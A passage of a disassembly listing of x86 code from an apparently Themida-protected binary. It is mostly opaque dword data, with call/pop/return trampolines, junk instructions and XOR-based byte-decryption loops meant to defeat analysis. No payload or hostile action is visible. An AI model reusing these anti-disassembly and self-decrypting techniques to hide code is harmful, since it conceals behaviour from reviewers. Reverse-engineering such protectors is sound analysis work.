sub_5C492F	endp

; ---------------------------------------------------------------------------
		mov	ebp, 602C7D02h
		aad	0F9h
		mov	edi, [ebp+6141B15h]
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		mov	[ebp+61410EDh],	eax
		mov	ebx, 3E341B71h
		cmp	dword ptr [ebp+6140F4Dh], 0
		jz	loc_5C49E2
		jmp	loc_5C4985
; ---------------------------------------------------------------------------
		db 0B4h
		dd 22040714h, 0B7C7C0B1h
; ---------------------------------------------------------------------------
		popf


loc_5C4985:				; CODE XREF: Themida_:005C4976j
		mov	eax, 0
		mov	edi, edx
		lea	ecx, [ebp+6144DFFh]
		push	0
		push	edx
		call	sub_5C499D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C499D	proc near		; CODE XREF: Themida_:005C4995p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5C499D	endp

; ---------------------------------------------------------------------------
		db 0C8h, 21h, 0A6h
		dd 0B095CFB9h, 6840Fh, 9D8B0000h, 6141AEDh, 6AE1FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0D6548CC3h
; ---------------------------------------------------------------------------
		mov	ebx, edi


loc_5C49E2:				; CODE XREF: Themida_:005C4970j
		cmp	dword ptr [ebp+614013Dh], 0
		jz	loc_5C4E33
		push	0
		push	ecx
		call	sub_5C49FA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C49FA	proc near		; CODE XREF: Themida_:005C49F2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5C49FA	endp

; ---------------------------------------------------------------------------
		dw 6A1Ch
		dd 3A10F24Dh, 0CD1B589h, 0B5890614h, 6141545h, 13DBD83h
		dd 0F010614h, 42584h, 0ACF8100h, 8308837Bh, 14013DBDh
		dd 860F0306h, 3DCh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0A0C35545h, 1FEFCFB3h, 6A60F80Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0C96BC351h, 29776120h, 1406AD8Dh, 0D98C6606h, 0B260BB66h
		dd 6A04E180h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 5565C351h, 97D80076h, 0D98B6630h
		dd 0BE9h, 0E3296B00h, 60F61735h, 9FA87A3Fh, 840FC90Ah
		dd 121h, 659D01h, 858B0614h, 6140E35h, 0D69BD89h, 85330614h
		dd 61406A9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0D8C35343h, 0FE8B6690h,	13860F50h, 0E9000000h
		dd 0Eh,	4C31C9BAh, 8B151308h, 31210DA2h, 6A90E554h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0B82EC350h, 2B6499B9h, 0F10A5DEh, 6AF9BFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EBC35242h, 0B4B8035Fh
		dd 2287AC68h, 240481DBh, 24FC7C53h, 0A9D9531h, 95FF0614h
		dd 614089Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	93C35343h, 858950C7h, 617A7EAh,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 9EC35747h, 54EB4589h
		dd 1F6E9F9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 9E0F02C3h, 20CBC0Ah, 0E2858BF6h
		dd 0F0617A7h, 689h, 0BDBD8B00h,	0E806141Dh, 7, 0AA0CE4BAh
		dd 0E80B1AB5h, 13h, 63BDA868h, 0AD96F7BBh, 0F97C550Bh
		dd 132E4DEEh, 66D54EA3h, 8471EF81h, 0C75F5Bh, 18h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7FC35141h, 48C9461h
		dd 3547AC11h, 7E9h, 0C9864500h,	859BB535h, 0A7E6B58Bh
		dd 0DE8B0617h, 281858Bh, 890F0614h, 1Eh, 12E8h,	29759200h
		dd 9C036305h, 1739A1A3h, 132A834Ah, 81EAF73Fh, 3031A8DBh
		dd 0D88A5B0Bh, 6A0689h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0D7486FC3h, 574FD4C9h, 25F19D23h
		dd 8B5F0614h, 140E3585h, 68C0F06h, 8B000000h, 1412959Dh
		dd 4468906h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	56C35040h, 9719FC34h, 51DDA27Bh, 6800F5Fh, 89000000h
		dd 14258D8Dh, 0BB669606h, 6650CE2Ch, 6A96DF8Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0C9DBC352h, 0B3CA29B0h, 7617B559h, 9ACB8166h, 0E2B5FF86h
		dd 890617A7h, 14028595h, 49BB6806h, 0B7BB66B5h,	813D2587h
		dd 4A442434h, 0EB8066AAh, 0EA858D29h, 6A0617A7h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0ECECC355h, 0DE8B6650h, 6A240489h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 5A80C356h
		dd 0F050178Fh, 2B75BD8Bh, 95FF0614h, 614089Dh, 3C98D31h
		dd 5E90614h, 62000000h,	3C33753Ch, 3D85C761h, 3061401h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 5289C353h, 0A7EABD83h,	0F000617h
		dd 2384h, 0E95F5300h, 37h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 9DC35646h, 110C3050h,	1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h
		db 0E7h, 0EBh, 36h
; ---------------------------------------------------------------------------


loc_5C4E33:				; CODE XREF: Themida_:005C49E9j
					; Themida_:005C4E4Aj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5C4E33
		jmp	short loc_5C4E69
; ---------------------------------------------------------------------------


loc_5C4E4E:				; CODE XREF: Themida_:005C4E65j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5C4E4E
		jmp	short $+2


loc_5C4E69:				; CODE XREF: Themida_:005C4E4Cj
		mov	eax, eax
		mov	edi, [ebp+6140475h]
		cmp	dword ptr [ebp+614013Dh], 3
		jnz	loc_5C5264
		mov	[ebp+6140071h],	ebx
		cmp	dword ptr [ebp+617A7EAh], 0
		jz	loc_5C5264
		push	0
		push	ebx
		call	sub_5C4E9C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4E9C	proc near		; CODE XREF: Themida_:005C4E94p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5C4E9C	endp

; ---------------------------------------------------------------------------
		dd 0EAB5FFE1h, 8B0617A7h, 3995FFDEh, 8A061403h,	0DEB58BDEh
		dd 6A0617A7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0E872C355h, 0E9F88A3Fh, 0Fh, 0EBEE2F9Eh
		dd 0C3966507h, 13C8526Fh, 0C72F45D5h, 1000106h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0CC2AD2FBh, 4EABFEE5h, 96D98B66h, 0C68B6660h, 61D98B66h
		dd 52505650h, 12E8h, 53251500h,	177A3C19h, 0FCFD4895h
		dd 0D4F35030h, 5F690C39h, 585A310Fh, 0BD89965Fh, 6142355h
		dd 0A7EAB5FFh, 810F0617h, 3, 0FF68F780h, 14108195h, 0DEB58B06h
		dd 6A0617A7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 4036C355h, 0D8494200h,	0DF27AA16h
		dd 3481BD8Bh, 858B0614h, 6140FF9h, 160D9D8Bh, 86890614h
		dd 0C4h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	0FEC35242h, 8B0B82FDh, 14190D9Dh, 69958B06h, 0F06142Bh
		dd 168Ah, 0BE800h, 4FB90000h, 0FCDF20E7h, 0DC06AC1Ah, 9A32BB7Fh
		dd 835B7828h, 0BD8B04C2h, 61410A1h, 6A205089h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 26EEC353h, 0F64540Ah, 0D98BFEB7h, 0BC23858Dh, 0CE90617h
		dd 0
; ---------------------------------------------------------------------------
		push	ebx
		retf	0B785h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 6Dh,	0D5h, 0FFh
		dd 89BA7BCFh, 0B886h, 0A183BB00h, 6A238Ch, 7C29C7BBh, 0EAB5FF4Fh
		dd 660617A7h, 0FF96E2BBh, 1433AD95h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 13E9D162h
		dd 0E6000000h, 7A496487h, 5380C92h, 183FCECCh, 50710DF2h
		dd 8A96F64Ah, 8F0F50D9h, 10h, 7E8h, 7AB62600h, 0B10326E9h
		dd 5FF88B66h, 459D8B96h, 0FF061408h, 17A7EAB5h,	0CB8006h
		dd 313DBD03h, 95FF0614h, 6142309h, 9E9h, 26269200h, 0BD973BF2h
		dd 0BD83A4C8h, 6141189h, 61840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 18C0C355h, 9D8B568Dh, 6141FC1h, 2FBB505Fh, 89291AD9h
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0C51D48C3h, 0E58589E9h, 6006140Eh, 1099B531h
		dd 81660614h, 61D77ED8h, 0A7EAB5FFh, 0FFF90617h, 1402D595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0B8BF506Ch, 0C41BD8Bh, 870F0614h, 3, 0FFD9BF0Fh
		dd 17A7EAB5h, 0FFD4B706h, 140B7595h, 5E806h, 69510000h
		dd 8BCEEC31h, 141705BDh, 800F5B06h, 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+614112Dh], 2
		jz	loc_5C5236
		push	0
		push	esi
		call	sub_5C51BC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C51BC	proc near		; CODE XREF: Themida_:005C51B4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5C51BC	endp

; ---------------------------------------------------------------------------
		push	ds
		jz	short loc_5C5235
		mov	ebx, ecx
		mov	[ebp+6141689h],	esi
		jmp	loc_5C51EF
; ---------------------------------------------------------------------------
		dd 71BCE59Ah, 0B5DD5EF1h, 5AFEB2B3h, 0F5209Dh
; ---------------------------------------------------------------------------
		and	[esi-69h], ebp


loc_5C51EF:				; CODE XREF: Themida_:005C51D7j
		mov	eax, [ebp+6140055h]
		mov	ebx, 495CB37Fh
		mov	byte ptr [eax],	0
		push	0
		push	ecx
		call	sub_5C5208
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5208	proc near		; CODE XREF: Themida_:005C5200p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5C5208	endp

; ---------------------------------------------------------------------------
		add	[edx+6820FA6Eh], ebx
		dec	edx
		jmp	loc_5C5236
; ---------------------------------------------------------------------------
		dd 18A8CD2h, 0CD984E1Ch, 1AA3FF59h, 0FD3F469h
		db 39h
; ---------------------------------------------------------------------------


loc_5C5235:				; CODE XREF: Themida_:005C51CDj
		inc	ebp


loc_5C5236:				; CODE XREF: Themida_:005C51ABj
					; Themida_:005C521Fj
		mov	dword ptr [ebp+6141E49h], 0
		push	0
		push	edi
		call	sub_5C524B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C524B	proc near		; CODE XREF: Themida_:005C5243p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5C524B	endp

; ---------------------------------------------------------------------------
		pop	edx
		stosd
		dec	edx
		mov	ebx, [ebp+6140741h]


loc_5C5264:				; CODE XREF: Themida_:005C4E78j
					; Themida_:005C4E8Bj
		jmp	near ptr dword_5C3FFC+619h
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6142FF5h]
		mov	eax, ecx
		push	0
		push	esi
		call	sub_5C527C
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C527C	proc near		; CODE XREF: Themida_:005C5274p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5C527C	endp

; ---------------------------------------------------------------------------
		dd 0C20D1D80h, 0B07645E2h, 4585293Ch, 8D061431h, 14079185h
		dd 8B666006h, 669061CBh, 5048ECBBh, 48A0Fh, 0BF660000h
		dd 6A90186Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 297CC353h, 14128D9Dh, 6800F06h
		dd 8B000000h, 1407FD9Dh, 6A006A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3DD5C356h
		dd 9589817Ch, 6142A69h,	8B66006Ah, 719D8BDFh, 8D061412h
		dd 1878F885h, 11958906h, 83061420h, 6A05C0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0F3864FC3h
		dd 9B2C3EB2h, 0FE91EF2h, 0F9000000h, 740C2E5Ch,	94CBC005h
		dd 68151E3Eh, 0B75004E9h, 240489D2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 85C35646h, 0A520ED15h, 6A7EE2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9CC35545h
		dd 0CA593E29h, 6A006AC3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0BF74C355h,	153A0B7Ch
		dd 0ED9D892Ch, 0FF06142Fh, 141B1995h, 0DBD8B06h, 8D061400h
		dd 17A7788Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0ADBD310Ch, 89061406h, 1423D595h
		dd 83D1FF06h, 1401CDBDh, 850F0106h, 78h, 870F026Ah, 6
		dd 197DB589h, 50900614h, 0FDF8B52h, 9E931h, 820B0000h
		dd 24469F99h, 5A730406h, 0DE85058h, 0B1000000h,	88F2D5EEh
		dd 0BD4DF798h, 53BDD876h, 58D0Fh, 20BB0000h, 5B06F042h
		dd 55E78090h, 33AD95FFh, 6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0B418A1C3h, 0F4615F19h
		dd 9D230E2Bh, 6142975h,	0E7CE9h, 0E800h, 815D0000h, 187902EDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 6AF841h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD8BD6C3h, 61416D9h, 8E49858Dh
		dd 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0D2C5FCC3h, 61E00F04h, 0BD0187B7h, 6140B9Dh
		dd 850F90h, 50000000h, 522EBB66h, 6DBD8990h, 64061429h
		dd 35FFh, 81660000h, 640D25D3h,	2589h, 0BD8B0000h, 6142689h
		dd 2DED85FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 10D3E7C3h, 870CAF75h, 1F01BD8Bh
		dd 0FF6A0614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0F4C35545h, 0D2D5CE02h,	0D7803374h, 0DB5FFBBh
		dd 6A061408h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B190C356h, 694A05C6h,	2DB58904h
		dd 8906141Fh, 141271B5h, 8995FF06h, 0E906142Ah,	14Ah, 8900B0F9h
		dd 1411219Dh, 6670E606h, 71E4FB8Bh, 15CD9589h, 613C0614h
		dd 12C830Fh, 0B60F0000h, 0EE9C8h, 94220000h, 3CD55877h
		dd 23891496h, 6B9EFE0Eh, 6BAh, 0A1858900h, 8B06141Fh, 0C890FC1h
		dd 0F000000h, 68Ah, 919D8B00h, 0C106142Ah, 0E78104E8h
		dd 6002BD9Ch, 8BE2F766h, 140F219Dh, 0BFC82B06h,	39CC9412h
		dd 8D0FD18Bh, 10h, 0BE9h, 8942C000h, 75E10C31h,	39C7D246h
		dd 3E9h, 0FAB70F00h, 2DA1858Bh,	0BF0F0614h, 6ABA60DEh
		dd 0F8085B32h, 7C08361h, 6D38166h, 0C08302h, 238A0Fh, 5E80000h
		dd 3F000000h, 60047DEAh, 12E8h,	3A7B4F00h, 0BAE66B65h
		dd 1C3F3210h, 674D512Ch, 5BD0E181h, 0FD03B5Fh, 1483h, 98D8900h
		dd 0E906142Ah, 66h, 4CB86660h, 84DC80F1h, 5D8D8B61h, 0E806140Ch
		dd 6, 774AD3C1h, 10E86EBEh, 7D000000h, 3CDCA8Bh, 1F68BBA6h
		dd 0B3BE820Eh, 81AB398Dh, 47BA81CBh, 835F5B52h,	840F01E1h
		dd 26h,	14DB589h, 0A5830614h, 6140C5Dh,	89FE8BFEh, 142DA195h
		dd 68A0F06h, 8B000000h,	140A0DBDh, 0E906h, 0B58D0000h
		dd 617EB6Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	32C35040h, 1753FB38h, 57CBF1F4h, 6A006AA4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 2274C351h, 6820Fh, 0BD890000h, 6140755h, 297195FFh
		dd 89600614h, 140255BDh, 0CBE38106h, 614CF921h,	808B9h
		dd 91B53100h, 8306141Fh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 374E55C3h, 6AFCFDh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 69EBA8C3h, 0C02B2B1Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 4DC35545h, 0B3B56E2h,	6268088Bh, 0BAh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 7A13F7AEh, 0AD483A24h, 0E8D1C233h, 0E983D003h
		dd 0FCF47504h, 9698D29h, 880D0614h, 89000000h, 1425C985h
		dd 69958B06h, 6A06142Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0B08FC353h,	79B58960h
		dd 2906141Ah, 140A2D85h, 8D8B6106h, 6141055h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BAC35646h, 6D850911h
		dd 306141Ah, 1420C5BDh,	7830F06h, 0F000000h, 182h, 8B50F800h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 50C35646h, 175BD03h
		dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0F5AC2C3h, 0BD83FFBFh, 6140F4Dh, 47840F00h
		dd 80000000h, 0B891C3h,	31000000h, 140DCD85h, 0FF8D8D06h
		dd 6A06144Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 3D14C353h, 0FD705E5h, 58Dh, 0B7DBBB00h
		dd 0E1FF360Ah, 1A05BD89h, 0BD830614h, 614013Dh,	0C5840F00h
		dd 0BF000004h, 54989E76h, 13DBD83h, 0F010614h, 4CE84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 7D573ABDh, 0BD8BDDEFh, 6140FEDh,	13DBD83h
		dd 0F030614h, 46486h, 6A60F900h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 83DFC351h, 420D9DE9h
		dd 9D8B5794h, 614258Dh,	6AD98C66h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 724C356h
		dd 9A1ADA94h, 23E32F09h, 0E180DA8Bh, 50006A04h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 54664B11h
		dd 8D899830h, 6141215h,	840FC90Ah, 116h, 0E35858Bh, 6A0614h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 3B0AC7C3h, 195894Fh,	8906140Bh, 141A519Dh, 0C9858906h
		dd 33061433h, 1406A985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 39BD0B21h
		dd 90061430h, 50FB8B66h, 0E990F98Bh, 11h, 3A125976h, 0A2DFE6B6h
		dd 0F2378D19h, 317A2EA2h, 0BB006A5Fh, 232B89C3h, 99F09A68h
		dd 24348115h, 1586F365h, 0B40FE5BFh, 9D95FF5Dh,	6A061408h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0DD6CC356h, 89626A8Bh, 17A7EA85h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 859D8B7Fh, 6006142Bh, 8E9h, 2E158C00h, 0E8B8C7EBh, 0D98D89C5h
		dd 61061423h, 236E9h, 0EE900h, 0F3830000h, 0CFD19C19h
		dd 135270BDh, 0C600A4E7h, 261B589h, 858B0614h, 617A7E2h
		dd 0C599509h, 0C70614h,	18h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0CDC35343h,	0E82E789Eh, 0Eh
		dd 52B355D0h, 0FE6A644h, 259342B2h, 9D238E41h, 6140B15h
		dd 0E6B58B5Bh, 310617A7h, 142D2595h, 81858B06h,	6A061402h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0B2A3C357h, 0D433AD8Eh, 0AE97D6F9h, 1F059D23h
		dd 6890614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0A2C35545h, 0E18D893Fh,	66061418h, 8B34CF81h, 0E35858Bh
		dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 5E306AC3h, 1934D9CEh, 60233FDFh, 1C6D8D8Bh
		dd 89610614h, 8D890446h, 6141371h, 28BF6696h, 60565056h
		dd 8BF18B66h, 965B61C7h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 20C35545h, 6468C4BFh,	0E2B5FF1Ch, 890617A7h
		dd 142B4D8Dh, 0F98B6606h, 4E8h,	1F03FF00h, 16880F00h, 0F000000h
		dd 108Ch, 0BE900h, 126D0000h, 5ADC73E6h, 1A0C7A3h, 0BB66505Ah
		dd 448B1688h, 8B660424h, 89008BD8h, 66042444h, 58953FBBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DAC35545h
		dd 0B3CDFA8Dh, 0B03B65CAh, 9D8BF54Bh, 6142C49h,	0A7EA858Dh
		dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 97BAF7C3h, 0BF83C8E2h, 4E7B6A1Ch,	2DBF6690h
		dd 5EB750FBh, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 9F4766FCh, 9D8BE164h, 6140891h, 0A6F78166h
		dd 9D95FFAEh, 6A061408h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 7415C350h, 61A3D8ACh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0D9C35545h
		dd 8E095B10h, 26399D89h, 85C70614h, 614013Dh, 3, 3248DB81h
		dd 0BD834736h, 617A7EAh, 66840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 9762C352h, 0ADA249Ah, 85AA7CD0h, 0CE9h, 9447E500h, 9685039Ah
		dd 200EED23h, 45E9F93Ch, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 359C353h
		dd 0D3816660h, 8D8911B2h, 6141BE5h, 0C305061h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 10E9h, 20038700h
		dd 7C6D101Bh, 0A828AFD1h, 0C1F14A7Dh, 8D8960F3h, 6141021h
		dd 8BE98166h, 8D89614Eh, 6142A15h, 13DBD83h, 0F030614h
		dd 42685h, 91BD2300h, 83061410h, 17A7EABDh, 840F0006h
		dd 413h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	18C35343h, 7B1D3F6h, 7367CF9Bh,	0F99D330Fh, 0FF06142Bh
		dd 17A7EAB5h, 897BB706h, 1400059Dh, 3995FF06h, 6A061403h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 6F34C356h, 0EE8650BDh, 0D66547DCh, 8BFEBF0Fh
		dd 17A7DEB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 5BB36C0Eh, 0EBE9C982h, 8B66CE18h
		dd 21BD31D9h, 0C706140Eh, 1000106h, 96FA8B00h, 0CB8B6660h
		dd 91F5BA66h, 6A965061h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E89BC352h,	8, 77ABCD62h
		dd 0D0C1D39h, 9C59D8Bh,	0FF5B0614h, 17A7EAB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0B9618Ah, 26E09EC5h,	85316084h, 61434C1h, 0FF61C5B5h
		dd 14108195h, 0FDBD8B06h, 8B06140Fh, 17A7DEB5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 41A50910h, 97668C0Eh, 0EE92DF81h, 858B47B3h,	6140FF9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 30C35646h
		dd 6735B366h, 0C48689h,	958B0000h, 6142B69h, 2BA19D8Bh
		dd 0C2830614h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 864DB613h, 0D8DBD8Bh
		dd 50890614h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0D8CC0F20h, 24C0D843h, 2B39BD8Bh
		dd 0BD310614h, 6140015h, 0BC23858Dh, 8D890617h,	61416CDh
		dd 0B88689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8B5BF9C3h, 141E6DBDh, 6A006A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 5A4EC356h, 0E69E93CDh, 11E9B7h, 78810000h
		dd 0B6E7C53Bh, 0B772D309h, 920399DEh, 0FF73BA1Bh, 17A7EAB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 3075A310h, 0D88AE673h, 33AD95FFh, 6A0614h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 9E14ADC3h, 505096A1h, 0FE8B6052h, 310F5250h,	0F61585Ah
		dd 0BF666031h, 5A614519h, 6A9658h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0F904B4C3h, 20899326h
		dd 0DE8F821h, 0CE000000h, 0FBB9BA3h, 45665A31h,	0E01170B2h
		dd 0F8D8D89h, 0FF5F0614h, 17A7EAB5h, 5BD0B06h, 0FF061400h
		dd 14230995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 8E2FBEC6h, 8F0F5640h, 6, 19D1B529h
